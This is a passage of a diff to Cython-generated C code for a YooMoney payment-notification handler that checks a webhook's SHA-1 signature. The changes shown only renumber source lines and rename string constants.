__Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = 0; __pyx_t_7 = 127; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5667,11 +5669,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_notification_type}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; @@ -5679,11 +5681,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u__12); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u__8); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5703,11 +5705,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_operation_id}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; @@ -5715,11 +5717,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_t_3); __pyx_t_3 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_kp_u__12); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_kp_u__8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5739,11 +5741,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_amount}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; @@ -5751,11 +5753,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_t_5); __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_kp_u__12); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_kp_u__8); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5775,11 +5777,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_currency}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; @@ -5787,11 +5789,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 6, __pyx_t_3); __pyx_t_3 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 7, __pyx_kp_u__12); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 7, __pyx_kp_u__8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5811,11 +5813,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_datetime}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; @@ -5823,11 +5825,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 8, __pyx_t_5); __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 9, __pyx_kp_u__12); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 9, __pyx_kp_u__8); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5847,11 +5849,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_sender}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; @@ -5859,11 +5861,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 10, __pyx_t_3); __pyx_t_3 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 11, __pyx_kp_u__12); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 11, __pyx_kp_u__8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5883,11 +5885,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_codepro}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; @@ -5895,41 +5897,41 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 12, __pyx_t_5); __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 13, __pyx_kp_u__12); - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_notification_secret, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 13, __pyx_kp_u__8); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_notification_secret, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 14, __pyx_t_5); __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_kp_u__12); + __Pyx_INCREF(__pyx_kp_u__8); __pyx_t_6 += 1; - __Pyx_GIVEREF(__pyx_kp_u__12); - PyTuple_SET_ITEM(__pyx_t_1, 15, __pyx_kp_u__12); - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id_str, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__8); + PyTuple_SET_ITEM(__pyx_t_1, 15, __pyx_kp_u__8); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id_str, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 16, __pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_1, 17, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_1, 17, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_5); __pyx_cur_scope->__pyx_v_string_to_hash = ((PyObject*)__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_sha1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_sha1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyUnicode_AsUTF8String(__pyx_cur_scope->__pyx_v_string_to_hash); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) + __pyx_t_3 = PyUnicode_AsUTF8String(__pyx_cur_scope->__pyx_v_string_to_hash); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_8 = NULL; __pyx_t_4 = 0; @@ -5950,11 +5952,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -5975,7 +5977,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5983,14 +5985,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_calculated_hash = __pyx_t_5; __pyx_t_5 = 0; - __pyx_t_5 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_calculated_hash, __pyx_cur_scope->__pyx_v_sha1_hash, Py_NE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 156, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_t_5 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_calculated_hash, __pyx_cur_scope->__pyx_v_sha1_hash, Py_NE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_9) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -6008,25 +6010,25 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__13}; + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__9}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 157, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 158, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -6043,21 +6045,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_12); /*try:*/ { - __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 163, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_user_id = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_13 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_13 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 162, __pyx_L6_error) + __pyx_t_13 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_13 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 164, __pyx_L6_error) 